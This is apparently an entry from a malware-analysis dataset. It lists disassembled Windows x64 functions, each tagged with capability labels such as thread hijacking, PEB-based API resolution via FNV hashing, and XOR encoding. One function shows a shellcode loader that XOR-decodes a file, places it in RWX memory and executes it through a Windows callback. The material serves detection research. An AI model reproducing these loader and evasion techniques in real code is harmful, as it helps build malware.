joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007950
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x14000e600]
mov rax, qword [rbx]
mov r12, rcx
mov esi, edx
test rax, rax
je 0x140007a20
cmp qword [rax + 0x60], 0
jne 0x140007a40
lea rcx, [0x14000d068]
mov qword [rax + 0x60], rcx
call sym.pthread_mutex_lock
mov rcx, r12
call sym.__pthread_get_pointer
test rax, rax
je 0x140007a50
cmp qword [rax + 0x1d8], r12
jne 0x140007a50
test byte [rax + 0x40], 0xc
jne 0x140007a50
mov edx, dword [rax + 0xbc]
test edx, edx
jne 0x140007a50
mov rax, qword [rax + 0x28]
sub rax, 1
cmp rax, 0xfffffffffffffffd
ja 0x140007a50
mov rax, qword [rbx]
test rax, rax
je 0x140007ab0
cmp qword [rax + 0x60], 0
jne 0x140007ad0
lea rcx, [0x14000d068]
mov qword [rax + 0x60], rcx
call sym.pthread_mutex_unlock
test esi, esi
je 0x140007ae0
lea edx, [rsi - 2]
cmp edx, 0x15
ja 0x140007ae8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
jmp sym.pthread_cancel
call sym.__shmem3_winpthreads_tdm_init_local_region
cmp qword [rax + 0x60], 0
mov rax, qword [rbx]
je 0x14000797b
test rax, rax
jne 0x140007a40
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x140007986
mov rax, qword [rbx]
test rax, rax
je 0x140007a80
cmp qword [rax + 0x60], 0
jne 0x140007aa0
lea rcx, [0x14000d068]
mov qword [rax + 0x60], rcx
call sym.pthread_mutex_unlock
mov eax, 3
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
call sym.__shmem3_winpthreads_tdm_init_local_region
mov r8, rax
mov rax, qword [rbx]
cmp qword [r8 + 0x60], 0
je 0x140007a5f
test rax, rax
jne 0x140007aa0
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x140007a6a
call sym.__shmem3_winpthreads_tdm_init_local_region
cmp qword [rax + 0x60], 0
mov rax, qword [rbx]
je 0x1400079ea
test rax, rax
jne 0x140007ad0
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x1400079f5
xor eax, eax
jmp 0x140007a74
mov eax, 0x16
jmp 0x140007a74
Function at 0x140008a50
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140008a70
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140008ab8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140008a64
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140008aa5

Function at 0x140008ae0
Capabilities:
Check mutex on windows

Disassembly:
push r12
sub rsp, 0x20
xor edx, edx
xor ecx, ecx
lea r8, [0x1400112c0]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140008b98
mov rdx, qword [0x140011200]
lea rcx, [0x140011200]
mov rax, qword [rdx + 8]
test rax, rax
je 0x140008b68
cmp rdx, rcx
jne 0x140008b4a
mov qword [rdx], rax
cmp rax, rcx
je 0x140008b4f
nop dword [rax]
test rax, rax
je 0x140008b7a
mov rdx, qword [rdx]
mov qword [rax], rdx
mov rdx, rax
mov rax, qword [rdx + 8]
cmp rax, rcx
jne 0x140008b38
mov rax, qword [rcx + 8]
mov qword [rdx + 8], rax
test rax, rax
je 0x140008b7a
mov rdx, rax
jmp 0x140008b46
lea rcx, [0x140011300]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140008bb6
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
lea rcx, str.failed_to_to_lock_cleanup_mutex_n
call sym.__shmem_get_error
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
jmp 0x140008b7a
Function at 0x1800028d0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rbp, rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002977
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002977
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0xceeaed7e
lea rdx, [r11 + r9*4]
mov ecx, dword [rdx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180002972
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180002950
cmp r8d, 0x7ad19438
je 0x18000297c
test r9d, r9d
jne 0x180002930
mov rax, qword [rax]
jmp 0x180002900
mov ecx, dword [rbx + 0x24]
mov edx, dword [rbx + 0x1c]
add rcx, r10
add rdx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
mov rcx, rbp
add rax, r10
call rax
mov rcx, 0xffffffffffffffff
lea rsi, [rax + 1]
mov eax, 2
mul rsi
cmovo rax, rcx
mov rcx, rax
call fcn.180012700
mov rcx, qword gs:[0x60]
mov rdi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r11d, dword [rdx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x180002a45
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x180002a45
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0xd5fa030d
add r8, r10
movzx eax, byte [r8]
inc r8
test al, al
je 0x180002a40
nop
movsx eax, al
lea r8, [r8 + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8 - 1]
test al, al
jne 0x180002a20
cmp edx, 0xd686334d
je 0x180002a4a
test r9d, r9d
jne 0x180002a00
mov rcx, qword [rcx]
jmp 0x1800029d0
mov ecx, dword [r11 + 0x24]
mov r8, rsi
add rcx, r10
mov rdx, rbp
movzx r9d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r9*4]
mov rcx, rdi
add rax, r10
call rax
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180002a90
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x180002b37
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x180002b37
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x5fe6828
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180002b32
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180002b10
cmp r8d, 0x36a9ba2c
je 0x180002b3c
test r9d, r9d
jne 0x180002af0
mov rax, qword [rax]
jmp 0x180002ac0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rsp + 0x30]
add rax, r10
call rax
movd xmm0, dword [rsp + 0x30]
mov rax, rsi
movd xmm2, dword [rsp + 0x34]
mov rbx, qword [rsp + 0x38]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm2, xmm2
cvtps2pd xmm1, xmm0
cvtps2pd xmm0, xmm2
movsd qword [rsi], xmm1
movsd qword [rsi + 8], xmm0
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800031b0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x110
movaps xmmword [rax - 0x18], xmm6
mov r14, r8
movaps xmmword [rax - 0x28], xmm7
mov rsi, rdx
movaps xmmword [rax - 0x38], xmm8
mov rbp, rcx
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
movaps xmmword [rax - 0x68], xmm11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd r9, dword [r10 + 0x3c]
mov edi, dword [r9 + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180003287
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180003287
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xabcad94
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180003282
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180003260
cmp r8d, 0xb3f389f2
je 0x18000328c
test r9d, r9d
jne 0x180003240
mov rax, qword [rax]
jmp 0x180003210
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, rbp
add rax, r10
call rax
movsd xmm7, qword [rsi]
mov rcx, rbp
movsd xmm8, qword [rsi + 8]
addsd xmm7, qword [0x180015cb8]
addsd xmm8, qword [0x180015cb8]
movups xmm9, xmmword [0x180015bf8]
movups xmm10, xmmword [0x18001c340]
movaps xmm11, xmmword [r14]
movaps xmm6, xmmword [rsi]
call fcn.1800028d0
cmp word [rax], 0
je 0x180003306
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp word [rax + rcx*2], 0
jne 0x1800032f0
xor edx, edx
add ecx, 1
je 0x18000330a
mov rdx, rax
jmp 0x18000330a
xor edx, edx
mov ecx, edx
mov rax, qword [0x1800187c8]
movaps xmm0, xmmword [0x180015ee0]
mov rbx, qword [0x180018848]
mov qword [rsp + 0x20], rax
mov rax, qword [0x18001c7f8]
movsd qword [rsp + 0x38], xmm6
unpckhpd xmm6, xmm6
movsd qword [rsp + 0x40], xmm6
movsd qword [rsp + 0x80], xmm7
movsd qword [rsp + 0x88], xmm8
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x34], ecx
mov dword [rsp + 0x68], 0
mov word [rsp + 0x90], 0x101
mov byte [rsp + 0x92], 1
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm11
movups xmmword [rsp + 0x6c], xmm10
movups xmmword [rsp + 0x94], xmm9
test rax, rax
jne 0x1800033b8
mov rax, qword [0x180018970]
lea r8, str.Canvas.K2_DrawText
add rax, 0x12933d0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call rax
mov qword [0x18001c7f8], rax
mov r9, qword [rbx]
lea r8, [rsp + 0x20]
mov rdx, rax
mov rcx, rbx
call qword [r9 + 0x260]
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r14
ret
Function at 0x140001ea8
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rdi, rcx
je 0x140001f24
cmp byte [rcx + 0x71], 0
je 0x140001f24
call fcn.1400024b8
mov r8, qword [rdi]
mov edx, eax
mov rcx, rdi
mov ebx, eax
call qword [r8 + 0x18]
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x68], ebx
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x60], eax
call fcn.1400024bc
test al, al
jne 0x140001f6c
mov rcx, qword [rdi + 0x68]
lea rax, [rsp + 0x70]
lea rdx, [rdi + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140001f31
sub eax, 1
je 0x140001f35
cmp eax, 2
jne 0x140001f6c
mov byte [rdi + 0x71], 0
mov al, 1
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
mov byte [rdi + 0x71], 0
mov rbx, qword [rsp + 0x70]
lea rax, [rsp + 0x30]
sub rbx, rax
je 0x140001f63
mov r9, qword [rdi + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x140001f6c
cmp byte [rdi + 0x71], 0
sete al
jmp 0x140001f26
xor al, al
jmp 0x140001f26
Function at 0x140002688
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x10], edx
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
mov r14d, edx
mov rdi, rcx
call fcn.1400024b8
lea rdx, [rbp + 0x38]
mov dword [rbp + 0x40], eax
lea rcx, [rbp + 0x40]
mov esi, eax
call fcn.1400024bc
test al, al
je 0x1400026c8
lea rcx, [rbp + 0x38]
call fcn.1400025ec
jmp 0x1400027dc
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
test rax, rax
je 0x14000270f
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::epptr_void_const___ptr64]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
cmp rax, rbx
jae 0x14000270f
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
lea rcx, [rbp + 0x38]
mov rbx, rax
call fcn.140002bdc
mov byte [rbx], al
mov eax, r14d
jmp 0x1400027dc
cmp qword [rdi + 0x80], 0
je 0x1400027da
mov rcx, rdi
call fcn.140002168
lea rcx, [rbp + 0x38]
call fcn.140002bdc
cmp qword [rdi + 0x68], 0
jne 0x14000274e
mov cl, al
mov rdx, qword [rdi + 0x80]
call fcn.140001310
test al, al
cmovne esi, r14d
jmp 0x1400027da
mov rcx, qword [rdi + 0x68]
lea rdx, [rdi + 0x74]
mov byte [rbp - 0x30], al
lea r9, [rbp - 0x2f]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x38], rax
lea r8, [rbp - 0x30]
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000279e
sub eax, 1
je 0x14000279e
cmp eax, 2
jne 0x1400027da
mov cl, byte [rbp - 0x30]
jmp 0x140002737
mov rbx, qword [rbp + 0x40]
lea rax, [rbp - 0x28]
sub rbx, rax
je 0x1400027c9
mov r9, qword [rdi + 0x80]
lea rcx, [rbp - 0x28]
mov r8, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x1400027da
lea rax, [rbp - 0x30]
mov byte [rdi + 0x71], 1
cmp qword [rbp + 0x48], rax
mov eax, r14d
jne 0x1400027dc
mov eax, esi
add rsp, 0x70
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x140002e3c
Capabilities:
Encode data using xor

Disassembly:
xor r10d, r10d
mov r11, rdx
test rdx, rdx
je 0x140002e5f
xor edx, edx
mov rax, r10
div r9
mov al, byte [rdx + r8]
xor byte [r10 + rcx], al
inc r10
cmp r10, r11
jb 0x140002e47
ret
Function at 0x140002e60
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbp, rdx
mov rsi, rcx
test r8, r8
jg 0x140002e81
xor eax, eax
jmp 0x140002f66
cmp qword [rcx + 0x68], 0
je 0x140002e93
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x140002f66
mov qword [rsp + 0x50], rdi
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140002ee4
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.14000158c
mov rcx, rsi
mov rbx, qword [rax]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, rbx
mov rcx, rbp
mov rdx, rax
call fcn.140002460
sub qword [rsp + 0x50], rbx
mov edx, ebx
mov rcx, rsi
add rbp, rbx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
cmp qword [rsi + 0x80], 0
je 0x140002f5b
mov rcx, rsi
call fcn.140002168
mov rcx, qword [rsp + 0x50]
mov ebx, 0xfff
jmp 0x140002f2f
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x50]
add rbp, rax
sub rcx, rax
mov qword [rsp + 0x50], rcx
cmp rax, rbx
jne 0x140002f60
cmp rcx, rbx
ja 0x140002f02
test rcx, rcx
je 0x140002f60
mov r9, qword [rsi + 0x80]
mov r8, rcx
mov rcx, rbp
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
jmp 0x140002f60
mov rcx, qword [rsp + 0x50]
sub rdi, rcx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002f74
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x140002f9e
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14000300e
mov rsi, rbx
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov rbp, rax
test rbx, rbx
jle 0x140003008
test rax, rax
jle 0x140002fe8
cmp rbx, rax
mov rcx, rdi
cmovl rbp, rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, rbp
mov rdx, r14
mov rcx, rax
call fcn.140002460
mov edx, ebp
mov rcx, rdi
add r14, rbp
sub rbx, rbp
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
test rbx, rbx
jle 0x140003008
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140003008
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x140003024
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
lea rdx, str.1234
lea rcx, [rsp + 0x58]
call fcn.14000184c
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x20]
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x70]
call fcn.1400016f8
nop
xor edx, edx
lea r8d, [rdx + 2]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.140001b90
mov rsi, rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rcx, [rbp + 0xd0]
call fcn.140001248
mov r8, rax
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.1400018dc
nop
lea rcx, [rsp + 0x40]
call fcn.140002330
mov rdx, rax
mov r8, rsi
lea rcx, [rbp - 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x70]
call fcn.14000242c
movsd xmm0, qword [str.kujghioauf]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1400045c0]
mov word [rsp + 0x38], ax
mov al, byte [0x1400045c2]
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0x40]
call fcn.140002330
mov rcx, rax
mov r9d, 0xa
lea r8, [rsp + 0x30]
mov rdx, rsi
call fcn.140002e3c
mov rcx, rsi
call fcn.140001d70
mov rdi, rax
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x40]
call fcn.140002484
mov rbx, rax
lea rdx, [rbp + 0xd8]
lea rcx, [rsp + 0x40]
call fcn.140002394
mov r8, rdi
mov rdx, qword [rbx]
mov rcx, qword [rax]
call fcn.1400014f0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov r9d, 0x15
or r8d, 0xffffffff
mov edx, 0x400
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rcx, rdi
call fcn.140003284
nop
lea rcx, [rsp + 0x40]
call fcn.140001b34
nop
lea rcx, [rbp - 0x70]
call fcn.140001c08
nop
lea rcx, [rsp + 0x58]
call fcn.140001b08
xor eax, eax
mov rbx, qword [rsp + 0x1c0]
add rsp, 0x1a0
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003a40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003a8a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003a8a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a8a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003a8a
cmp dword [rcx + 0x84], 0xe
jbe 0x140003a8a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003a8c
xor al, al
add rsp, 0x28
ret
Function at 0x140008600
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov dword [rsp + 0x78], 4
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov r14d, 1
test rcx, rcx
je 0x1400086b6
test rdx, rdx
je 0x1400086b6
lea rax, [rsp + 0x30]
mov dword [rsp + 0x60], 4
mov rdx, rcx
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], 0
mov r9d, r14d
xor r8d, r8d
xor bl, bl
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400086ae
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], rbp
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400086a3
cmp dword [rsp + 0x60], 4
movzx ebx, bl
cmove ebx, r14d
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
jne 0x140008743
mov dword [rsp + 0x78], 4
test rsi, rsi
je 0x140008748
test rdi, rdi
je 0x140008748
lea rax, [rsp + 0x30]
mov dword [rsp + 0x60], 4
mov r9d, r14d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rsp + 0x30], 0
mov rdx, rsi
mov rcx, 0xffffffff80000002
xor bl, bl
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140008743
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], rbp
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140008738
cmp dword [rsp + 0x60], 4
movzx ebx, bl
cmove ebx, r14d
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, bl
jmp 0x14000874a
xor al, al
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret